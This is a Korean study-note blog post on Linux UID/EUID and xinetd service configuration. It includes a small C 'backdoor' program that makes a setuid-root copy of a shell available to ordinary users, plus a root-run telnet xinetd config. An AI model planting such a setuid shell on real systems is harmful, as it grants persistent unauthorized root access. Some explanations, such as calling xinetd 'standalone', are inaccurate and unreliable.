Study Record

[리버싱 기초 개념] (UID/EUID , xinetd) 본문

리버싱/기초 개념

[리버싱 기초 개념] (UID/EUID , xinetd)

초코초코초코 2021. 11. 12. 15:04
728x90

1. UID(RUID : Real UID) / EUID (Effective UID)

UID(RUID) : 내가 로그인 했을 당시 사용자 (# who am i)

EUID : 현재 내가 누구인지 (# id ; # whoami)

 

ex ) user01로 로그인 한 뒤에 su - root 로 계정전환을 한 뒤

→ 프로그램 자체가 권한을 확인할 때 RUID 를 확인할수도 있고 EUID 를 확인할 수도 있다!

[root]

# cp /bin/bash /test/bash

# chmod 4755 /test/bash

한 뒤, user01사용자로 telnet 으로 접속한뒤 /test/bash 로 실행해도 root 권한으로 실행되지 않는다.

 

아래와 같은 backdoor 프로그램을 실행해도 root 권한으로 실행되지 않는다. setreuid(0,0) 을 실행하기 위해서는 EUID 가 0(root)이상이여야 동작하기 때문이다.

# vi /test/backdoor.c

#include <stdlib.h>

#include <sys/types.h>

#include <unistd.h>

 

int main(){

    setreuid(0,0);

    system("/bin/bash");

    return 0;

}

# gcc -o /test/backdoor /test/backdoor.c

 

따라서 backdoor 에 setuid 비트를 걸고 소유자를 root로 만들면 backdoor 실행했을 때 관리자로 실행된다.

[root]

# chmod 4755 /test/backdoor

# chown root /test/backdoor

[user01]

$ /test/backdoor

 

→ setreuid(uid_r uid, uid_r euid) 는 실행하는 계정의 권한 이상으로는 바뀌지 않는다.

 

2.  xinetd 방식의 서비스

☞ 개요

xinetd(Redhat 7.x) = inetd(Redhat 6.x) + extended(tcp_wrapper)

standalone 방식의 서비스이다.

다른 서비스들의 요청들을 대신 받아 필요할 경우만 실행시켜준다.

 

※ 서버에서 서비스 하는 방법

standalone 방식의 서비스 : 데몬이 직접 실행되는 서비스로 서비스의 요청이 많을 때 유리하다. ex ) WEB

xinetd 방식의 서비스 : xinetd 데몬 하나만 실행되고 이 데몬이 요청들을 받아서 각 요청에 받는 서비스를 실행시키는 방식으로 서비스 요청이 적을 때 유리하다.

 

☞ 설정 파일

/etc/xinetd.conf : 주 설정 파일 (/etc/xinetd.d/* 파일을 포함하고 있다.)

/etc/xinetd.d/*

+ /etc/services : xinetd 가 서비스를 찾아볼 때 참고하는 파일

 

ex ) # vi /etc/xinetd.d/telnet

service telnet

{

flags = REUSE

socket_type = stream

wait = no

user = root

server = /usr/sbin/in.telnetd

log_on_failure += USERID

disable = no

}

→ service telnet
반드시 /etc/services 파일에 들어 있는 이름이어야 한다.(반드시 서비스 이름과 포트가 매핑되어야 한다.)
 disable = no
데몬을 비활성화하지 않음, disable = yes로 설정되면 해당 서비스를 기동하지 않음
서비스의 이름으로는 /etc/services 파일에 있는 서비스명으로 선택하는 것을 권장한다.

 flags = REUSE
서비스 포트가 사용 중인 경우 해당 포트의 재사용을 허가

 socket_type = stream
TCP(stream)/UDP(dgram) 프로토콜을 선택

 wait = no
이미 서비스가 연결된 상태에서 다른 요청이 오면 바로 응답함, 다르게 표현하면 telnetd은 동시에 다수의 접속이 가능하다는 의미이다.

 user = root
해당 데몬이 root 계정의 권한으로 실행됨

 server = /usr/bin/in.telnetd
xinetd에 의해 실행될 데몬 파일

 log_on_failure += USERID

정상적인 기동에 실패한 경우 USERID를 로그에 기록

 

☞ 서비스 실행 과정

client server
telnet 192.168.10.200 1. xinetd(/etc/xinetd.conf)
2. /etc/services 에서 telnet 이라는 이름을 찾는다.
3. /etc/xinetd.d/telnet 을 참고하여 root 계정으로 /usr/sbin/in.telnetd 를 실행한다.
# cat /etc/xinetd.d/telnet 
service telnet {
flags = REUSE
socket_type = stream
wait = no
user = root
server = /usr/sbin/in.telnetd
log_on_failure += USERID
disable = no
}

 

 

standalone 방식과의 차이점

standalone 방식의 서비스 .service (ex. httpd.service)

chkconfig <service> [ off | on ] : disable 설정 변경 : 부팅시 서비스의 on/off 를 설정한다.

service http restart 

# chkconfig --list | grep httpd

 

xinetd 방식의 서비스 → .socket (ex. telnet.socket)

chkconfig <service 파일 이름> [ off | on ] : disable 설정 변경 , /etc/xinetd.d/<service 파일 이름> 에서 disable 설정을 변경한다.(off | on)

service xinetd restart 

# chkconfig --list | grep telnet

 

 두가지의 방식은 systemctl restart <service> , systemctl enable <service> 으로 통합되었다.

systemctl enable [ httpd.service | telnet.socket ]

systemctl restart [ httpd.service | telnet.socket ]

 

 

728x90